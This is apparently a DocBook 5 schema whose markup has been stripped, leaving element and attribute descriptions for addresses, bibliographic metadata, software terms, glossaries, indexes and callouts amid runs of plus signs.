    + + + + + + + + + + + + + + + A street address in an address + + + + +
    +
    + + + + + + + + + + + + + + + A post office box in an address + + + + +
    +
    + + + + + + + + + + + + + + + A postal code in an address + + + + +
    +
    + + + + + + + + + + + + + + + The name of a city in an address + + + + +
    +
    + + + + + + + + + + + + + + + A state or province in an address + + + + +
    +
    + + + + + + + + + + + + + + + The name of a country + + + + +
    +
    + + + + + + + + + + + + + + + A telephone number + + + + +
    +
    + + + + + + + + + + + + + + + A fax number + + + + +
    +
    + + + + + + + + + + + + + + + Uncategorized information in address + + + + +
    +
    + + + + + + + + + + + + + + + The institutional affiliation of an individual + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A brief description of an affiliation + + + + +
    +
    + + + + + + + + + + + + + + + The title of an individual in an organization + + + + +
    +
    + + + consortium + A consortium + corporation + A corporation + informal + An informal organization + nonprofit + A non-profit organization + + + + + Specifies the nature of the organization + + + + + + Specifies the nature of the organization + other + Indicates a non-standard organization class + + + Identifies the non-standard nature of the organization + + + + + + + + + + + + + + + + + + + + + + + + + + The name of an organization other than a corporation + + + + +
    +
    + + + + + + + + + + + + + + + A division of an organization + + + + + + +
    +
    + + + + + + + + + + + + + + + The page numbers of an article as published + + + + +
    +
    + + + + + + + + + + + + + + + The personal name of an individual + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + The name of an individual author + + + + +
    +
    + + + + + + + + + + + + + + + Wrapper for author information when a document has multiple authors or collabarators + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Identifies a collaborator + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The initials or other short identifier for an author + + + + +
    +
    + + + + + + + + + + + + + + + A wrapper for document meta-information about a conference + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The dates of a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + The title of a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + An identifier, frequently numerical, associated with a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + The sponsor of a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + The contract number of a document + + + + +
    +
    + + + + + + + + + + + + + + + The sponsor of a contract + + + + +
    +
    + + + + + + + + + + + + + + + Copyright information about a document + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The year of publication of a document + + + + +
    +
    + + + + + + + + + + + + + + + The name of the individual or organization that holds a copyright + + + + +
    + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Additional content for the cover of a publication + + + + +
    + + + + + + + + + +
    + + + + + + + + + + + + + + + The date of publication or revision of a document + + + + +
    +
    + + + + + + + + + + + + + + + The name or number of an edition of a document + + + + +
    +
    + + + + + + + + + + + + + + + The name of the editor of a document + + + + +
    +
    + + + + + + + + + + + + + + + + An identifier for a document + + + + +
    +
    + + + + + + + + + + + + + + + + A citation of a bibliographic identifier + + + + +
    +
    + + + + + + + + + + + + + + + + The source of a document + + + + +
    +
    + + + hasformat + The described resource pre-existed the referenced resource, which is essentially the same intellectual content presented in another format + haspart + The described resource includes the referenced resource either physically or logically + hasversion + The described resource has a version, edition, or adaptation, namely, the referenced resource + isformatof + The described resource is the same intellectual content of the referenced resource, but presented in another format + ispartof + The described resource is a physical or logical part of the referenced resource + isreferencedby + The described resource is referenced, cited, or otherwise pointed to by the referenced resource + isreplacedby + The described resource is supplanted, displaced, or superceded by the referenced resource + isrequiredby + The described resource is required by the referenced resource, either physically or logically + isversionof + The described resource is a version, edition, or adaptation of the referenced resource; changes in version imply substantive changes in content rather than differences in format + references + The described resource references, cites, or otherwise points to the referenced resource + replaces + The described resource supplants, displaces, or supersedes the referenced resource + requires + The described resource requires the referenced resource to support its function, delivery, or coherence of content + + + + + + Identifies the type of relationship + + + + + + + + Identifies the type of relationship + othertype + The described resource has a non-standard relationship with the referenced resource + + + + A keyword that identififes the type of the non-standard relationship + + + + + + + + + + + + + + + + + + + + + + + + + + The relationship of a document to another + + + + +
    +
    + + + dcmipoint + The DCMI Point identifies a point in space using its geographic coordinates + iso3166 + ISO 3166 Codes for the representation of names of countries + dcmibox + The DCMI Box identifies a region of space using its geographic limits + tgn + The Getty Thesaurus of Geographic Names + + + + + + Specifies the type of spatial coverage + + + + + + + + Specifies the type of spatial coverage + otherspatial + Identifies a non-standard type of coverage + + + + A keyword that identifies the type of non-standard coverage + + + + + + + + + + + + dcmiperiod + A specification of the limits of a time interval + w3c-dtf + W3C Encoding rules for dates and times—a profile based on ISO 8601 + + + + + + Specifies the type of temporal coverage + + + + + + + + Specifies the type of temporal coverage + othertemporal + Specifies a non-standard type of coverage + + + + A keyword that identifies the type of non-standard coverage + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + The spatial or temporal coverage of a document + + + + +
    +
    + + + + + + + + + + + + + + + + + + A statement of legal obligations or requirements + + + + + + + +
    +
    + + + copyeditor + A copy editor + graphicdesigner + A graphic designer + other + Some other contributor + productioneditor + A production editor + technicaleditor + A technical editor + translator + A translator + + + + + + Identifies the nature of the contributor + + + + + + + Identifies the nature of the non-standard contribution + + + + + + + Identifies the nature of the contributor + other + Identifies a non-standard contribution + + + + + + + + + + + + + + + + + + + + + + + + + + A person or entity, other than an author or editor, credited in a document + + + + +
    +
    + + + + + + + + + + + + + + + The numbers of the pages in a book, for use in a bibliographic entry + + + + +
    +
    + + + + + + + + + + + + + + + A summary of the contributions made to a document by a credited source + + + + +
    +
    + + + + + + + + + + + + + + + The title of a person + + + + +
    +
    + + + + + + + + + + + + + + + The first name of a person + + + + +
    +
    + + + + + + + + + + + + + + + A family name; in western cultures the last name + + + + +
    +
    + + + + + + + + + + + + + + + The portion of a person's name indicating a relationship to ancestors + + + + +
    +
    + + + + + + + + + + + + + + + A component of a persons name that is not a first name, surname, or lineage + + + + +
    +
    + + + + + + + + + + + + + + + The printing history of a document + + + + + + +
    +
    + + + + + + copyright + A name with a copyright + registered + A name with a registered copyright + service + A name of a service + trade + A name which is trademarked + + + + + Specifies the class of product name + + + + + + + + + + + + + + + + + + The formal name of a product + + + + +
    +
    + + + + + + + + + + + + + + + A number assigned to a product + + + + +
    +
    + + + + + + + + + + + + + + + The date of publication of a document + + + + +
    +
    + + + + + + + + + + + + + + + The publisher of a document + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of the publisher of a document + + + + +
    +
    + + + + + + + + + + + + + + + Information about a particular release of a document + + + + +
    +
    + + + + + + + + + + + + + + + + + + A history of the revisions to a document + + + + + + + +
    +
    + + + + + + + + + + + + + + + An entry describing a single revision in the history of the revisions to a document + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A document revision number + + + + +
    +
    + + + + + + + + + + + + + + + A description of a revision to a document + + + + +
    +
    + + + + + + + + + + + + + + + A extended description of a revision to a document + + + + + + +
    +
    + + + + + + + + + + + + + + + Numbers of the volumes in a series of books + + + + +
    +
    + + + + + + + + + + + + + + + The volume number of a document in a set (as of books in a set or articles in a journal) + + + + +
    +
    + + + + + + + + + + + + + + + The number of an issue of a journal + + + + +
    +
    + + + + + + + + + + + + + + + A graphical user interface (GUI) keyboard shortcut + + + + +
    +
    + + + hardware + A hardware application + software + A software application + + + + + Identifies the class of application + + + + + + + + + + + + + + + + + + + + + The name of a software program + + + + +
    +
    + + + + + + + + + + + + + + + A software or application package + + + + +
    +
    + + + + + + + + + + + + + + + The name of a class, in the object-oriented programming sense + + + + +
    +
    + + + + + + + + + + + + + + + The name of an executable program or other software command + + + + +
    + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Data, generally text, displayed or presented by a computer + + + + + + +
    +
    + + + altkey + An alternate or secondary key + constraint + A constraint + datatype + A data type + field + A field + foreignkey + A foreign key + group + A group + index + An index + key1 + The first or primary key + key2 + An alternate or secondary key + name + A name + primarykey + The primary key + procedure + A (stored) procedure + record + A record + rule + A rule + secondarykey + The secondary key + table + A table + user + A user + view + A view + + + + + Identifies the class of database artifact + + + + + + + + + + + + + + + + + + + + + The name of a database, or part of a database + + + + +
    +
    + + + + + + + + + + + + + + + An email address + + + + +
    +
    + + + + + + + + + + + + + + + A software environment variable + + + + +
    +
    + + + + + + + + + + + + + + + An error code + + + + +
    +
    + + + + + + + + + + + + + + + An error name + + + + +
    +
    + + + + + + + + + + + + + + + An error message. + + + + +
    +
    + + + + + + + + + + + + + + + The classification of an error message + + + + +
    +
    + + + devicefile + A device + directory + A directory + extension + A filename extension + headerfile + A header file (as for a programming language) + libraryfile + A library file + partition + A partition (as of a hard disk) + symlink + A symbolic link + + + + + Identifies the class of filename + + + + + + Specifies the path of the filename + + + + + + + + + + + + + + + + + + + + + + + The name of a file + + + + +
    +
    + + + + + + + + + + + + + + + The name of a function or subroutine, as in a programming language + + + + +
    +
    + + + + + + + + + + + + + + + The text on a button in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Graphic and/or text appearing as a icon in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The text of a label in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a menu in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a terminal menu item in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a submenu in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A physical part of a computer system + + + + +
    +
    + + + alt + The "Alt" key + backspace + The "Backspace" key + command + The "Command" key + control + The "Control" key + delete + The "Delete" key + down + The down arrow + end + The "End" key + enter + The "Enter" or "Return" key + escape + The "Escape" key + home + The "Home" key + insert + The "Insert" key + left + The left arrow + meta + The "Meta" key + option + The "Option" key + pagedown + The page down key + pageup + The page up key + right + The right arrow + shift + The "Shift" key + space + The spacebar + tab + The "Tab" key + up + The up arrow + + + + + + Identifies the function key + + + + + + + + Identifies the function key + other + Indicates a non-standard function key + + + + Specifies a keyword that identifies the non-standard key + + + + + + + + + + + + + + + + + + + + + + + + The text printed on a key on a keyboard + + + + +
    +
    + + + + + + + + + + + + + + + The internal, frequently numeric, identifier for a key on a keyboard + + + + +
    +
    + + + click + A (single) mouse click. + double-click + A double mouse click. + press + A mouse or key press. + seq + Sequential clicks or presses. + simul + Simultaneous clicks or presses. + + + + + + Identifies the nature of the action taken. If keycombo + contains more than one element, simul + is the default, otherwise there is no default. + + + + + + + + Identifies the nature of the action taken + other + Indicates a non-standard action + + + + Identifies the non-standard action in some unspecified way. + + + + + + + + + + + + + + + + + + + + + + + + A combination of input actions + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The symbolic name of a key on a keyboard + + + + +
    +
    + + + + + + + + + + + + + + + A comment on a line in a verbatim listing + + + + +
    +
    + + + + + + + + + + + + + + + Inline text that is some literal value + + + + +
    +
    + + + Identifies the (computer) language of the code fragment + + + + + + + + + + + + + + + + + + + + An inline code fragment + + + + +
    +
    + + + Identifies the class of constant + limit + The value is a limit of some kind + + + + + + + + + + + + + + + + + + + + A programming or system constant + + + + +
    +
    + + + + + + + + + + + + + + + The name of a variable + + + + +
    +
    + + + + + + + + + + + + + + + A string of formatting markup in text that is to be represented literally + + + + +
    +
    + + + + + + + + + + + + + + + A selection or series of selections from a menu + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + A key combination for an action that is also accessible through a menu + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The conventional name of a mouse button + + + + +
    +
    + + + + + + + + + + + + + + + An option for a software command + + + + +
    +
    + + + + + + + + + + + + + + + Optional information + + + + +
    +
    + + + + + + + + + + + + + + + A unit of data associated with some part of a computer system + + + + +
    +
    + + + command + A command + function + A function + option + An option + + + + + Identifies the class of parameter + + + + + + + + + + + + + + + + + + + + + A value or a symbolic reference to a value + + + + +
    + + + + + + +
    + + + + + + + + + + + + + + + A character or string indicating the start of an input field in a computer display + + + + + + +
    + + + + + + +
    + + + command + A command + function + A function + option + An option + parameter + A parameter + + + + + Identifies the nature of the replaceable text + + + + + + + + + + + + + + + + + + + + + Content that may or must be replaced by the user + + + + + + +
    +
    + + + + + + + + + + + + + + + The value returned by a function + + + + +
    +
    + + + + + + attribute + An attribute + attvalue + An attribute value + element + An element + emptytag + An empty element tag + endtag + An end tag + genentity + A general entity + numcharref + A numeric character reference + paramentity + A parameter entity + pi + A processing instruction + comment + An SGML comment + starttag + A start tag + xmlpi + An XML processing instruction + + + + + Identifies the nature of the tag content + + + + + + Identifies the namespace of the tag content + + + + + + + + + + + + + + + + + + + + + A component of XML (or SGML) markup + + + + +
    +
    + + + Identifies the class of symbol + limit + The value is a limit of some kind + + + + + + + + + + + + + + + + + + + + A name that is replaced by a value before processing + + + + +
    + + + + + + +
    + + + daemon + A daemon or other system process (syslogd) + domainname + A domain name (example.com) + etheraddress + An ethernet address (00:05:4E:49:FD:8E) + event + An event of some sort (SIGHUP) + eventhandler + An event handler of some sort (hangup) + filesystem + A filesystem (ext3) + fqdomainname + A fully qualified domain name (my.example.com) + groupname + A group name (wheel) + ipaddress + An IP address (127.0.0.1) + library + A library (libncurses) + macro + A macro + netmask + A netmask (255.255.255.192) + newsgroup + A newsgroup (comp.text.xml) + osname + An operating system name (Hurd) + process + A process (gnome-cups-icon) + protocol + A protocol (ftp) + resource + A resource + server + A server (mail.example.com) + service + A service (ppp) + systemname + A system name (hephaistos) + username + A user name (ndw) + + + + + Identifies the nature of the system item + + + + + + + + + + + + + + + + + + + + + A system-related item or term + + + + + + +
    +
    + + + + Identifies the type of URI specified + + + + + + + + + + + + + + + + + + + A Uniform Resource Identifier + + + + +
    +
    + + + + + + + + + + + + + + + A unit of information + + + + +
    +
    + + + + + + + + + + + + + + + The classification of a value + + + + +
    + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Data entered by the user + + + + + + +
    +
    + + + + + + + + + + + + + + + An abbreviation, especially one followed by a period + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An often pronounceable word made from the initial (or selected) letters of a name or phrase + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An inline bibliographic reference to another published work + + + + + + +
    +
    + + + + + + + + + + + + + + + A citation to a reference page + + + + + + + +
    +
    + + + + + + + + + + + + + + + The title of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + A reference volume number + + + + +
    +
    + + + article + An article + bbs + A bulletin board system + book + A book + cdrom + A CD-ROM + chapter + A chapter (as of a book) + dvd + A DVD + emailmessage + An email message + gopher + A gopher page + journal + A journal + manuscript + A manuscript + newsposting + A posting to a newsgroup + part + A part (as of a book) + refentry + A reference entry + section + A section (as of a book or article) + series + A series + set + A set (as of books) + webpage + A web page + wiki + A wiki page + + + + + Identifies the nature of the publication being cited + + + + + + + + + + + + + + + + + + + + + The title of a cited work + + + + + + +
    +
    + + + + + + + + + + + + + + + Emphasized text + + + + + + +
    +
    + + + A limited span of emphasized text + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A word or phrase in a language other than the primary language of the document + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A span of text + + + + + + +
    +
    + + + A limited span of text + + + + +
    +
    + + + + + + + + + + + + + + + An inline quotation + + + + + + +
    +
    + + + + + + + + + + + + + + + A subscript (as in H2 +O, the molecular formula for water) + + + + +
    +
    + + + + + + + + + + + + + + + A superscript (as in x^2, the mathematical notation for x multiplied by itself) + + + + +
    +
    + + + copyright + A copyright + registered + A registered copyright + service + A service + trade + A trademark + + + + + Identifies the class of trade mark + + + + + + + + + + + + + + + + + + + + + A trademark + + + + +
    +
    + + + + + + + + + + + + + + + A word meant specifically as a word and not representing anything else + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A cross reference to a footnote (a footnote mark) + + + @linkend on footnoteref must point to a footnote. + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A cross reference to another part of the document + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A hypertext link + + + + + + +
    +
    + + + + + + + + + Holds additional information that may be used by the applicatoin when resolving the link + + + + + Specifies the URI of the document in which the link target appears + + + + + + Specifies the location of the link target in the document + + + + + Identifies application-specific customization of the link behavior + + + + + + + + + + + + + + + + + + + + + + + + + + A link that addresses its target indirectly + + + + + + +
    +
    + + + + + + + + + + + + + + A spot in the document + + + + +
    +
    + + + + + + + + + + + + + + A text-only annotation, often used for accessibility + + + + + + + + + +
    + + + Identifies one or more annotations that apply to this element + + +
    + + + + + + Identifies one ore more elements to which this annotation applies + + + + + + + + + + + + + + + + + + + An annotation + + + annotation must not occur in the descendants of annotation + + + + + + + + + +
    + + + + Specifies the XLink traversal-from + + + + + + + + Specifies the XLink label + + + + + + + + Specifies the XLink traversal-to + + + + +
    + + + + + + + + + + + + Identifies the XLink link type + extended + An XLink extended link + + + + + + + + + + + + + An XLink extended link + + + + + + + + + +
    +
    + + + + + + + + + + + + Identifies the XLink link type + locator + An XLink locator link + + + + + + + + + + + + + + + + + An XLink locator in an extendedlink + + + + +
    +
    + + + + + + + + + + + + Identifies the XLink link type + arc + An XLink arc link + + + + + + + + + + + + + + + + + + + + + + + + + An XLink arc in an extendedlink + + + + +
    + + + Identifies the editorial or publication status of the element on which it occurs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A collection of books + + + The root element must have a version attribute. + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A book + + + The root element must have a version attribute. + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for the dedication section of a book + + + The root element must have a version attribute. + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + Text at the back of a book describing facts about its production + + + The root element must have a version attribute. + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + An appendix in a Book or Article + + + The root element must have a version attribute. + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A chapter, as of a book + + + The root element must have a version attribute. + + + + + + + +
    + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A division in a book + + + The root element must have a version attribute. + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + Introductory matter preceding the first chapter of a book + + + The root element must have a version attribute. + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + An introduction to the contents of a part + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A recursive section + + + The root element must have a version attribute. + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A section of a document with no subdivisions + + + + + + + +
    +
    + + + + + + + + + + + + + + + Acknowledgements in an Article + + + + + + +
    + + + +
    + + + + + + faq + A collection of frequently asked questions. + journalarticle + An article in a journal or other periodical. + productsheet + A description of a product. + specification + A specification. + techreport + A technical report. + whitepaper + A white paper. + + + + + Identifies the nature of the article + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + An article + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A top-level section of document + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect1 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect2 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect3 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect4 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + A collection of reference entries + + + The root element must have a version attribute. + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + A reference page (originally a UNIX man-style reference page) + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Meta-information for a reference entry + + + + + + + + + + + + + + + + +
    + + + source + The name of the software product or component to which this topic applies + version + The version of the software product or component to which this topic applies + manual + The section title of the reference page (e.g., User Commands) + sectdesc + The section title of the reference page (believed synonymous with "manual" but in wide use) + software + The name of the software product or component to which this topic applies (e.g., SunOS x.y; believed synonymous with "source" but in wide use) + + + + + + Identifies the kind of miscellaneous information + + + + + + + Identifies the nature of non-standard miscellaneous information + + + + + + Identifies the kind of miscellaneious information + other + Indicates that the information is some 'other' kind. + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Meta-information for a reference entry other than the title and volume number + + + + +
    +
    + + + + + + + + + + + + + + + The name, purpose, and classification of a reference page + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A description of the topic of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of (one of) the subject(s) of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + A short (one sentence) synopsis of the topic of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + The scope or other indication of applicability of a reference entry + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntactic synopsis of the subject of the reference page + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + A recursive section in a refentry + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A major subsection of a reference entry + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection of a refsect1 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection of a refsect2 + + + The root element must have a version attribute. + + + + + + + + + +
    + + + + + + + + + + Specifies the base form of the term, the one that appears in the glossary. This allows adjectival, plural, and other variations of the term to appear in the element. The element content is the default base form. + + + +
    + + + + + + + + + + + + + + + + + + A wrapper for a list of glossary entries + + + + + + + + + + + + +
    +
    + + + + + + Specifies the string by which the element's content is to be sorted; if unspecified, the content is used + + + + + + + + + + + + + + + + + An entry in a Glossary or GlossList + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + Specifies a list of keywords for the definition + + + + + + + + + + + + + + + + + A definition in a GlossEntry + + + + + + + + + +
    +
    + + + + + + Identifies the other term + + + + + + + + + + + + + + + + + + A cross-reference from one glossentry + to another + + + @otherterm on glosssee must point to a glossentry. + + + + + + + + +
    +
    + + + + + + Identifies the other term + + + + + + + + + + + + + + + + + + A cross-reference from one GlossEntry to another + + + @otherterm on glossseealso must point to a glossentry. + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + The first occurrence of a term + + + @linkend on firstterm must point to a glossentry. + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + A glossary term + + + @linkend on glossterm must point to a glossentry. + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A glossary + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A division in a Glossary + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + An inline definition of a term + + + A termdef must contain a glossterm + + + + + + + + +
    + + + Identifies the relationship between the bibliographic elemnts + + +
    + + + + + + + + + + + + + + + An entry in a Bibliography + + + + + + +
    +
    + + + + + + + + + + + + + + + An entry in a Bibliography + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A raw container for related bibliographic information + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A cooked container for related bibliographic information + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Untyped bibliographic information + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A bibliography + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A section of a Bibliography + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for a list of bibliography entries + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + The units (for example, pages) used to identify the beginning and ending of a reference. + + + + + + Identifies the beginning of a reference; the location within the work that is being referenced. + + + + + + Identifies the end of a reference. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A cross-reference to a bibliographic entry + + + + +
    + + + normal + Normal + preferred + Preferred + + + + + Specifies the significance of the term + + + + + + Specifies the IDs of the elements to which this term applies + + + + + + Indicates the page on which this index term occurs in some version of the printed document + + + + + all + All indexes + global + The global index (as for a combined index of a set of box) + local + The local index (the index for this document only) + + + + + Specifies the scope of the index term + + + + + + Specifies the string by which the term is to be sorted; if unspecified, the term content is used + + + + + Specifies the target index for this term + + +
    + + + + + + + + + + + + + + + A set of index terms in the meta-information of a document + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + Identifies the class of index term + singular + A singular index term + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for an indexed term + + + + +
    +
    + + + + + + Identifies the class of index term + startofrange + The start of a range + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for an indexed term that covers a range + + + + +
    +
    + + + + + + Identifies the class of index term + endofrange + The end of a range + + + + + Points to the start of the range + + + + + + + + + + + + + + + + + Identifies the end of a range associated with an indexed term + + + + +
    +
    + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + The primary word or phrase under which an index term should be sorted + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A secondary word or phrase in an index term + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A tertiary word or phrase in an index term + + + + + + +
    +
    + + + + + + + + + + + + + + + Part of an index term directing the reader instead to another entry in the index + + + + + + +
    +
    + + + + + + + + + + + + + + + Part of an index term directing the reader also to another entry in the index + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + An index to a book or part of a book + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + An index to a set of books + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A division in an index + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An entry in an index + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A primary term in an index entry, not in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A secondary term in an index entry, rather than in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A tertiary term in an index entry, rather than in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A See +entry in an index, rather than in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A See also + entry in an index, rather than in the text + + + + + + +
    + + + Indicates the page on which this element occurs in some version of the printed document + + +
    + + + + + + + + + + + + + + + + + + A table of contents + + + The root element must have a version attribute. + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + A division in a table of contents + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + A component title in a table of contents + + + + + + +
    + + + +
    + + + + + + + + + + + + + + + A task to be completed + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A summary of a task + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + The prerequisites for a task + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + Information related to a task + + + + + + + +
    + + + calspair + Coordinates expressed as a pair of CALS graphic coordinates. + linecolumn + Coordinates expressed as a line and column. + linecolumnpair + Coordinates expressed as a pair of lines and columns. + linerange + Coordinates expressed as a line range. + + + + + + Identifies the units used in the coords attribute The default units vary according to the type of callout specified: calspair + for graphics and linecolumn + for line-oriented elements. + + + + + + + + Indicates that non-standard units are used for this area +. In this case otherunits + must be specified. + other + Coordinates expressed in some non-standard units. + + + + Identifies the units used in the coords + attribute when the units + attribute is other +. This attribute is forbidden otherwise. + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A list of callout +s + + + + + + + + + + +
    +
    + + + + + + Identifies the areas described by this callout. + + + + + + + + + + + + + + + A called out + description of a marked Area + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A program listing with associated areas used in callouts + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + A collection of regions in a graphic or code example + + + + + + + + + +
    +
    + + + + + + Point to the callout +s which refer to this area. (This provides bidirectional linking which may be useful in online presentation.) + + + + + + Specifies an identifying number or string that may be used in presentation. The area label might be drawn on top of the figure, for example, at the position indicated by the coords attribute. + + + + + Provides the coordinates of the area. The coordinates must be interpreted using the units + specified. + + + + + + + + + + + + + + + + + + + + + + + + A region defined for a Callout in a graphic or code example + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + A region defined for a Callout in a graphic or code example + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A set of related areas in a graphic or code example + + + + + + +
    +
